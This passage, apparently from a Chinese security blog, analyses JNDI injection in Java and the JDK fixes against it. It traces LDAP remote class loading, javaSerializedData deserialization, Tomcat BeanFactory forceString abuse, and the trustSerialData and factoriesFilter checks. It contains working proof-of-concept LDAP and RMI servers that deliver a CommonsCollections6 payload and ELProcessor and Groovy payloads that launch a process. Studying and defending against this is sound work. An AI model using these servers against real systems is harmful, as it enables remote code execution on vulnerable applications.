对象,因此我们在 LDAP 的 entry
中要设置这三个属性。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 private static Reference decodeReference (Attributes attrs, String[] codebases) throws NamingException, IOException { Attribute attr; String className; String factory = null ; if ((attr = attrs.get(JAVA_ATTRIBUTES[CLASSNAME])) != null ) { className = (String) attr.get(); } else { throw new InvalidAttributesException (JAVA_ATTRIBUTES[CLASSNAME] + " attribute is required" ); } if ((attr = attrs.get(JAVA_ATTRIBUTES[FACTORY])) != null ) { factory = (String) attr.get(); } Reference ref = new Reference ( className, factory, (codebases != null ? codebases[0 ] : null ) ); if ((attr = attrs.get(JAVA_ATTRIBUTES[REF_ADDR])) != null ) { } return ref; }
由于这里是利用 JNDI 的 References
机制进行远程类加载,因此走的是第三个分支。之后会调用 javax.naming.spi.DirectoryManager
的静态方法 getObjectInstance
来获取 decodeRmiObject
返回的 Reference
对应的对象实例。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 private static ObjectFactoryBuilder object_factory_builder = null ;static synchronized ObjectFactoryBuilder getObjectFactoryBuilder () { return object_factory_builder; } public static Object getObjectInstance (Object refInfo, Name name, Context nameCtx, Hashtable<?,?> environment, Attributes attrs) throws Exception { ObjectFactory factory; ObjectFactoryBuilder builder = getObjectFactoryBuilder(); if (builder != null ) { } Reference ref = null ; if (refInfo instanceof Reference) { ref = (Reference) refInfo; } else if (refInfo instanceof Referenceable) { ref = ((Referenceable) (refInfo)).getReference(); } Object answer; if (ref != null ) { String f = ref.getFactoryClassName(); if (f != null ) { factory = getObjectFactoryFromReference(ref, f); } } }
getObjectInstance
默认情况下会调用 getObjectFactoryFromReference
获取并加载工厂类。
这里要注意的是前面 JNDI-RMI 远程加载类是在 com.sun.jndi.rmi.registry.RegistryContext#decodeObject
添加的 trustURLCodebase
检查,随后该函数调用了 getObjectFactoryFromReference
获取并加载工厂类。
而 getObjectFactoryFromReference
函数本身并没有 trustURLCodebase
检查,因此使用 JNDI-LDAP 代替 JNDI-RMI 利用 JNDI 的 References
机制远程加载类可以绕过 trustURLCodebase
检查。
8u191开始进行新增了 com.sun.jndi.ldap.object.trustURLCodebase
属性:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 private static final String TRUST_URL_CODEBASE_PROPERTY = "com.sun.jndi.ldap.object.trustURLCodebase" ; private static final String trustURLCodebase = AccessController.doPrivileged( new PrivilegedAction <String>() { public String run () { return System.getProperty(TRUST_URL_CODEBASE_PROPERTY, "false" ); } } );
并且在 com.sun.jndi.ldap.VersionHelper12#loadClass
增加了判断,导致该方法失效。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 public Class<?> loadClass(String className, String codebase) throws ClassNotFoundException, MalformedURLException { if ("true" .equalsIgnoreCase(trustURLCodebase)) { ClassLoader parent = getContextClassLoader(); ClassLoader cl = URLClassLoader.newInstance(getUrlArray(codebase), parent); return loadClass(className, cl); } else { return null ; } }
反序列化(17.0.13、11.0.25、8u461 前) 前面提到 com.sun.jndi.ldap.Obj#decodeObject
有三个分支,其中对于 javaSerializedData
分支 ,若条目包含序列化字节属性 javaSerializedData
则会调用 deserializeObject
函数将其反序列化。
1 2 3 4 5 6 7 if ((attr = attrs.get(JAVA_ATTRIBUTES[SERIALIZED_DATA])) != null ) { ClassLoader cl = helper.getURLClassLoader(codebases); return deserializeObject((byte []) attr.get(), cl); }
deserializeObject
逻辑很简单,就是直接将字节数组 obj
反序列化成一个对象返回,而这里 obj
实际上就是前面的 javaSerializedData
属性的值。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 private static Object deserializeObject (byte [] obj, ClassLoader cl) throws NamingException { try { ByteArrayInputStream bytes = new ByteArrayInputStream (obj); try (ObjectInputStream deserial = (cl == null ) ? new ObjectInputStream (bytes) : new LoaderInputStream (bytes, cl)) { return deserial.readObject(); } catch (ClassNotFoundException e) { NamingException ne = new NamingException (); ne.setRootCause(e); throw ne; } } catch (IOException e) { NamingException ne = new NamingException (); ne.setRootCause(e); throw ne; } }
因此我们只需要将 LDAP 服务器的 entry
中的 javaSerializedData
设置为反序列化数据即可完成利用。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 import com.unboundid.ldap.listener.*;import com.unboundid.ldap.listener.interceptor.*;import com.unboundid.ldap.sdk.*;import javax.net.ServerSocketFactory;import javax.net.SocketFactory;import javax.net.ssl.SSLSocketFactory;import java.net.InetAddress;public class LDAPServer { private static final String BASE = "dc=example,dc=com" ; private static final int PORT = 1389 ; public static void main (String[] args) throws Exception { byte [] payload = CommonsCollections6.getPayload("calc" ); InMemoryDirectoryServerConfig cfg = new InMemoryDirectoryServerConfig (BASE); cfg.setListenerConfigs( new InMemoryListenerConfig ( "v4" , InetAddress.getByName("0.0.0.0" ), PORT, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault() ) ); cfg.addInMemoryOperationInterceptor(new SerializedInterceptor (payload)); InMemoryDirectoryServer ds = new InMemoryDirectoryServer (cfg); System.out.println("[*] LDAP listening on 0.0.0.0:" + PORT); ds.startListening(); } static class SerializedInterceptor extends InMemoryOperationInterceptor { private final Entry entry; SerializedInterceptor(byte [] payload) { this .entry = new Entry (BASE); entry.addAttribute("javaClassName" , "java.lang.Object" ); entry.addAttribute("javaSerializedData" , payload); } @Override public void processSearchResult (InMemoryInterceptedSearchResult result) { try { result.sendSearchEntry(entry); result.setResult(new LDAPResult (0 , ResultCode.SUCCESS)); } catch (Exception ex) { ex.printStackTrace(); } } } }
攻击过程如下:
sequenceDiagram
autonumber
%% ── 客户端(本机进程) ──
box rgb(230,242,255) 客户端(进程)
participant App as Client 应用 💻
participant IC as InitialContext
participant LURL as ldapURLContext
participant LCtx as LdapCtx
participant OBJ as Obj
end
%% ── 目录服务(远端) ──
box rgb(232,245,233) LDAP 服务器
participant LDAP as LDAP 服务 📇
end
%% 1) JNDI 访问 LDAP
App->>IC: lookup ldap://localhost:1389/exploit
IC->>LURL: 选择 LDAP 提供者
LURL->>LCtx: c_lookup
%% 2) 返回包含序列化数据的条目
LCtx->>LDAP: search base=exploit scope=OBJECT filter=(objectClass=*)
LDAP-->>LCtx: 返回条目 含 javaSerializedData 和 javaClassName
%% 3) decodeObject 进入 javaSerializedData 分支
LCtx->>OBJ: decodeObject
%% 4) 反序列化分支 对比修复
alt 允许反序列化 版本在 17.0.13 11.0.25 8u461 之前 或 设置 trustSerialData=true 🔓
OBJ->>OBJ: deserializeObject 读取对象
OBJ->>OBJ: ObjectInputStream.readObject
note right of OBJ: 🚨触发链反序列化链
else 禁止反序列化 17.0.13 11.0.25 8u461 起 且 trustSerialData=false 🔒
OBJ-->>LCtx: NamingException 不允许反序列化
LCtx-->>App: lookup 失败 或 安全回退
end
调用栈如下:
1 2 3 4 5 6 7 8 9 at com.sun.jndi.ldap.Obj.deserializeObject(Obj.java:531) at com.sun.jndi.ldap.Obj.decodeObject(Obj.java:239) at com.sun.jndi.ldap.LdapCtx.c_lookup(LdapCtx.java:1051) at com.sun.jndi.toolkit.ctx.ComponentContext.p_lookup(ComponentContext.java:542) at com.sun.jndi.toolkit.ctx.PartialCompositeContext.lookup(PartialCompositeContext.java:177) at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:205) at com.sun.jndi.url.ldap.ldapURLContext.lookup(ldapURLContext.java:94) at javax.naming.InitialContext.lookup(InitialContext.java:417) at org.example.Client.main(Client.java:9)
从 JDK8u461 开始 com.sun.jndi.ldap.Obj#decodeObject
的逻辑变了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 static Object decodeObject (Attributes attrs) throws NamingException { Attribute attr; String[] codebases = getCodebases(attrs.get(JAVA_ATTRIBUTES[CODEBASE])); try { if ((attr = attrs.get(JAVA_ATTRIBUTES[SERIALIZED_DATA])) != null ) { if (!VersionHelper12.isSerialDataAllowed()) { throw new NamingException ("Object deserialization is not allowed" ); } ClassLoader cl = helper.getURLClassLoader(codebases); return deserializeObject((byte []) attr.get(), cl); } else if ((attr = attrs.get(JAVA_ATTRIBUTES[REMOTE_LOC])) != null ) { if (!VersionHelper12.isSerialDataAllowed()) { throw new NamingException ("Object deserialization is not allowed" ); } return decodeRmiObject( (String) attrs.get(JAVA_ATTRIBUTES[CLASSNAME]).get(), (String) attr.get(), codebases); } attr = attrs.get(JAVA_ATTRIBUTES[OBJECT_CLASS]); if (attr != null && (attr.contains(JAVA_OBJECT_CLASSES[REF_OBJECT]) || attr.contains(JAVA_OBJECT_CLASSES_LOWER[REF_OBJECT]))) { return decodeReference(attrs, codebases); } return null ; } catch (IOException e) { NamingException ne = new NamingException (); ne.setRootCause(e); throw ne; } }
javaSerializedData
和 javaRemoteLocation
两个分支中都增加了反序列化的限制代码
1 2 3 if (!VersionHelper12.isSerialDataAllowed()) { throw new NamingException ("Object deserialization is not allowed" ); }
isSerialDataAllowed
函数返回的是 trustSerialData
属性。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public static boolean isSerialDataAllowed () { return trustSerialData; }
而 trustSerialData
属性的值由 com.sun.jndi.ldap.object.trustSerialData
系统属性觉得,初始化方式跟之前的 trustURLCodebase
类似,都是在静态代码块初始化的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 private static final String TRUST_URL_CODEBASE_PROPERTY = "com.sun.jndi.ldap.object.trustURLCodebase" ; private static final String TRUST_SERIAL_DATA_PROPERTY = "com.sun.jndi.ldap.object.trustSerialData" ; private static final boolean trustSerialData;private static final boolean trustURLCodebase;static { String trust = getPrivilegedProperty(TRUST_URL_CODEBASE_PROPERTY, "false" ); trustURLCodebase = "true" .equalsIgnoreCase(trust); String trustSDString = getPrivilegedProperty(TRUST_SERIAL_DATA_PROPERTY, "false" ); trustSerialData = "true" .equalsIgnoreCase(trustSDString); }
本地类利用 前面利用 JNDI 的References 机制进行远程类加载的时候,最终都是利用 javax.naming.spi.NamingManager#getObjectFactoryFromReference
方法实现的。
但是从 JDK8u131 和 JDK8u191 开始,JNDI-RMI 和 JNDI-LDAP 分别增加了 com.sun.jndi.rmi.object.trustURLCodebase
和 com.sun.jndi.ldap.object.trustURLCodebase
两个现在,导致 JNDI 注入无法通过远程类加载来实现 RCE。
然而 javax.naming.spi.NamingManager#getObjectFactoryFromReference
不光是远程类加载,该方法在远程加载工厂类之前还会尝试从本地 classpath 加载类。因此我们可以尝试从本地寻找可用类。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 static ObjectFactory getObjectFactoryFromReference ( Reference ref, String factoryName) throws IllegalAccessException, InstantiationException, MalformedURLException { Class<?> clas = null ; try { clas = helper.loadClass(factoryName); } catch (ClassNotFoundException e) { } String codebase; if (clas == null && (codebase = ref.getFactoryClassLocation()) != null ) { try { clas = helper.loadClass(factoryName, codebase); } catch (ClassNotFoundException e) { } } return (clas != null ) ? (ObjectFactory) clas.newInstance() : null ; }
无论是 RMI 还是 LDAP 在调用 getObjectFactoryFromReference
获取到 javax.naming.spi.ObjectFactory
接口实例之后都会调用实例的 getObjectInstance
方法,并且传入 Reference
对象。
由于 Reference
对象是从我们的恶意 RMI/LDAP 服务器获取的,因此该对象中的工厂类名 (classFactory
)是我们可控的,并且我们还何以往 Reference
对象中添加 RefAddr
参数 ,用来控制工厂类创建对象过程。
因此我们需要寻找合适的实现 javax.naming.spi.ObjectFactory
接口的合适对象来完成利用。
目前公开常用的利用方法是通过 Tomcat 的 去调用 javax.el.ELProcessor#eval
方法或 groovy.lang.GroovyShell#evaluate
方法。
org.apache.naming.factory.BeanFactory
是 Tomcat 自带的一个 JNDI “对象工厂”(ObjectFactory
) 。它的职责是——当应用在 JNDI 里 lookup()
一个条目时,按 JavaBean 规范 创建目标对象(必须有无参构造器、setXxx(...)
风格的属性写入方法),再把 <Resource ...>
或 Reference
里声明的属性逐个注入 到这个对象上,最后把实例返回给调用者。
org.apache.naming.ResourceRef.BeanFactory#getObjectInstance
函数实现如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 @Override public Object getObjectInstance (Object obj, Name name, Context nameCtx, Hashtable<?,?> environment) throws NamingException { if (obj instanceof ResourceRef) { try { Reference ref = (Reference) obj; String beanClassName = ref.getClassName(); Class<?> beanClass = null ; ClassLoader tcl = Thread.currentThread().getContextClassLoader(); if (tcl != null ) { try { beanClass = tcl.loadClass(beanClassName); } catch (ClassNotFoundException e) { } } else { try { beanClass = Class.forName(beanClassName); } catch (ClassNotFoundException e) { e.printStackTrace(); } } if (beanClass == null ) { throw new NamingException ("Class not found: " + beanClassName); } BeanInfo bi = Introspector.getBeanInfo(beanClass); PropertyDescriptor[] pda = bi.getPropertyDescriptors(); Object bean = beanClass.getConstructor().newInstance(); RefAddr ra = ref.get("forceString" ); Map<String, Method> forced = new HashMap <>(); String value; if (ra != null ) { value = (String) ra.getContent(); Class<?>[] paramTypes = new Class [1 ]; paramTypes[0 ] = String.class; String setterName; int index; for (String param : value.split("," )) { param = param.trim(); index = param.indexOf('=' ); if (index >= 0 ) { setterName = param.substring(index + 1 ).trim(); param = param.substring(0 , index).trim(); } else { setterName = "set" + param.substring(0 , 1 ).toUpperCase(Locale.ENGLISH) + param.substring(1 ); } try { forced.put(param, beanClass.getMethod(setterName, paramTypes)); } catch (NoSuchMethodException | SecurityException ex) { throw new NamingException ( "Forced String setter " + setterName + " not found for property " + param); } } } Enumeration<RefAddr> e = ref.getAll(); while (e.hasMoreElements()) { ra = e.nextElement(); String propName = ra.getType(); if (propName.equals(Constants.FACTORY) || propName.equals("scope" ) || propName.equals("auth" ) || propName.equals("forceString" ) || propName.equals("singleton" )) { continue ; } value = (String) ra.getContent(); Object[] valueArray = new Object [1 ]; Method method = forced.get(propName); if (method != null ) { valueArray[0 ] = value; try { method.invoke(bean, valueArray); } catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) { throw new NamingException ( "Forced String setter " + method.getName() + " threw exception for property " + propName); } continue ; } } return bean; } } }
这个函数主要逻辑如下:
取出 Reference
类中的 className
属性作为目标 Bean
的类名,使用 TCL(线程上下文类加载器)或系统类加载器加载。
通过无参构造器创建 Bean
实例(要求目标类必须有 public
无参构造)。
遍历 Reference
中的各个 RefAddr
条目,按属性名匹配并将字符串值转换为目标属性的类型,再调用对应 setter 注入。
因此如果我们可以通过构造一个 Reference
对象,使得在这个过程中,我们可以实例化任意一个本地类,然后调用这个实例的任意一个 setter 方法并传入任意字符串函数。
然而实际情况下很难有上述情景下能够实现 RCE 类,不过 BeanFactory
还有一个 forceString 机制,可以自定义 setter 方法名:
先从 Reference
的 RefAddr
条目读出 forceString
的字符串,按逗号切分为若干 item
。
对每个 item
:
形如 name=method
:记录映射 forced.put(name, beanClass.getMethod(method, String.class))
;
形如 name
:推导 method = "set" + capitalize(name)
,并同样要求该方法**单参数且类型为 String
**,记录映射 forced.put(name, beanClass.getMethod(method, String.class))
;
按照键值对 propName => value
遍历 Reference
中的每个 RefAddr
:
跳过的保留键:factory
、scope
、auth
、forceString
、singleton
不会 作为属性处理。
若其 type
(通常就是“属性名”)在 forced
映射里:直接 调用那条方法:method.invoke(bean, new Object[]{ value })
。
因此我们可以通过控制 Reference
对象中名称为 forceString
的 RefAddr
参数来实现:
任意类的加载+实例化(必须要有 public
属性的无参构造函数)
任意函数调用且参数可控(函数只能有一个参数且类型为字符串)
满足上述条件的函数有 javax.el.ELProcessor#eval
方法或 groovy.lang.GroovyShell#evaluate
方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 public class RMIServer { private static final int PORT = 1099 ; public static void main (String[] args) throws Exception { ResourceRef ref = new ResourceRef ( "javax.el.ELProcessor" , null , "" , "" , true , "org.apache.naming.factory.BeanFactory" , null ); ref.add(new StringRefAddr ("forceString" , "x=eval" )); ref.add(new StringRefAddr ( "x" , "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")" )); ReferenceWrapper referenceWrapper = new ReferenceWrapper (ref); LocateRegistry.createRegistry(PORT).rebind("exploit" , referenceWrapper); System.out.println("[*] RMI listening on 0.0.0.0:" + PORT); } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 public class RMIServer { private static final int PORT = 1099 ; public static void main (String[] args) throws Exception { ResourceRef ref = new ResourceRef ( "groovy.lang.GroovyClassLoader" , null , "" , "" , true , "org.apache.naming.factory.BeanFactory" , null ); ref.add(new StringRefAddr ("forceString" , "x=parseClass" )); String script = "@groovy.transform.ASTTest(value={\n" + " assert java.lang.Runtime.getRuntime().exec(\"calc\")\n" + "})\n" + "def x\n" ; ref.add(new StringRefAddr ("x" , script)); ReferenceWrapper referenceWrapper = new com .sun.jndi.rmi.registry.ReferenceWrapper(ref); LocateRegistry.createRegistry(PORT).rebind("exploit" , referenceWrapper); System.out.println("[*] RMI listening on 0.0.0.0:" + PORT); } }
高版本 JDK 新增 jdk.jndi.object.factoriesFilter
(系统或安全属性),用于匹配/限制允许实例化的工厂类(语法沿用 jdk.serialFilter
的模式串)。这是这段校验逻辑的依据。该属性最初在 JDK 17 主线提供,同时回补到 JDK 11.0.11、8u291、7u301 等长期更新分支。
新版 JNDI 的 NamingManager#getObjectFactoryFromReference
做了 先无初始化加载 → 立刻按白名单过滤 ,同时引入 全局 + 协议级 两层“工厂类过滤器”属性,默认更偏向只信任 JDK 自带 Provider 的工厂类 ;想让第三方工厂介入,必须显式放行。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 static ObjectFactory getObjectFactoryFromReference ( Reference ref, String factoryName) throws IllegalAccessException, InstantiationException, MalformedURLException { Class<?> clas = null ; try { clas = helper.loadClassWithoutInit(factoryName); if (!ObjectFactoriesFilter.canInstantiateObjectsFactory(clas)) { return null ; } } catch (ClassNotFoundException e) { } String codebase; if (clas == null && (codebase = ref.getFactoryClassLocation()) != null ) { try { clas = helper.loadClass(factoryName, codebase); if (clas == null || !ObjectFactoriesFilter.canInstantiateObjectsFactory(clas)) { return null ; } } catch (ClassNotFoundException e) { } } return (clas != null ) ? (ObjectFactory) clas.newInstance() : null ; }
在本地类加载的分支中,com.sun.naming.internal.VersionHelper12#loadClassWithoutInit
在调用 loadClass
加载类的时候显式指定不初始化类,防止触发类中的静态代码块的执行。(远程类加载由于有 trustURLCodebase
检测,因此没有这方面的设置)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public Class<?> loadClassWithoutInit(String className) throws ClassNotFoundException { return loadClass(className, false , getContextClassLoader()); }
另外就是调用类的无参构造函数实例化之前,会调用 com.sun.naming.internal.ObjectFactoriesFilterObjectFactoriesFilter#canInstantiateObjectsFactory
进行过滤。
canInstantiateObjectsFactory
实际上是通过调用 checkInput
进行过滤的。
1 2 3 4 5 6 7 8 9 public static boolean canInstantiateObjectsFactory (Class<?> factoryClass) { return checkInput(() -> factoryClass); }
checkInput
调用全局过滤器 GLOBAL
的 checkInput
方法进行过滤。
1 2 3 4 5 6 7 8 private static boolean checkInput (FactoryInfo factoryInfo) { Status result = GLOBAL.checkInput(factoryInfo); return result != Status.REJECTED; }
全局过滤器有限使用 SecurityProperties.privilegedGetOverridable
创建,如果无法创建则设置为默认值 DEFAULT_SP_VALUE
,即允许所有类。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 private static final String FACTORIES_FILTER_PROPNAME = "jdk.jndi.object.factoriesFilter" ;private static final String DEFAULT_SP_VALUE = "*" ;private static final ObjectInputFilter GLOBAL = ObjectInputFilter.Config.createFilter(getFilterPropertyValue()); private static String getFilterPropertyValue () { String propVal = SecurityProperties.privilegedGetOverridable(FACTORIES_FILTER_PROPNAME); return propVal != null ? propVal : DEFAULT_SP_VALUE; }
privilegedGetOverridable
会分别从安全管理器(SecurityManager
)和系统属性中读取 FACTORIES_FILTER_PROPNAME
即 jdk.jndi.object.factoriesFilter
的配置,由于我们默认没有设置,因此最终是按照默认的全部放行处理的 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 public static String privilegedGetOverridable (String propName) { if (System.getSecurityManager() == null ) { return getOverridableProperty(propName); } else { return AccessController.doPrivileged( (PrivilegedAction<String>) () -> getOverridableProperty(propName) ); } } private static String getOverridableProperty (String propName) { String val = System.getProperty(propName); if (val == null ) { return Security.getProperty(propName); } else { return val; } }
在 JDK 20/21 时代又新增协议粒度 的属性:**jdk.jndi.ldap.object.factoriesFilter
、 jdk.jndi.rmi.object.factoriesFilter
**,用于分别限制来自 LDAP / RMI 的引用恢复(默认更严格,只允许 JDK 自带模块的工厂)。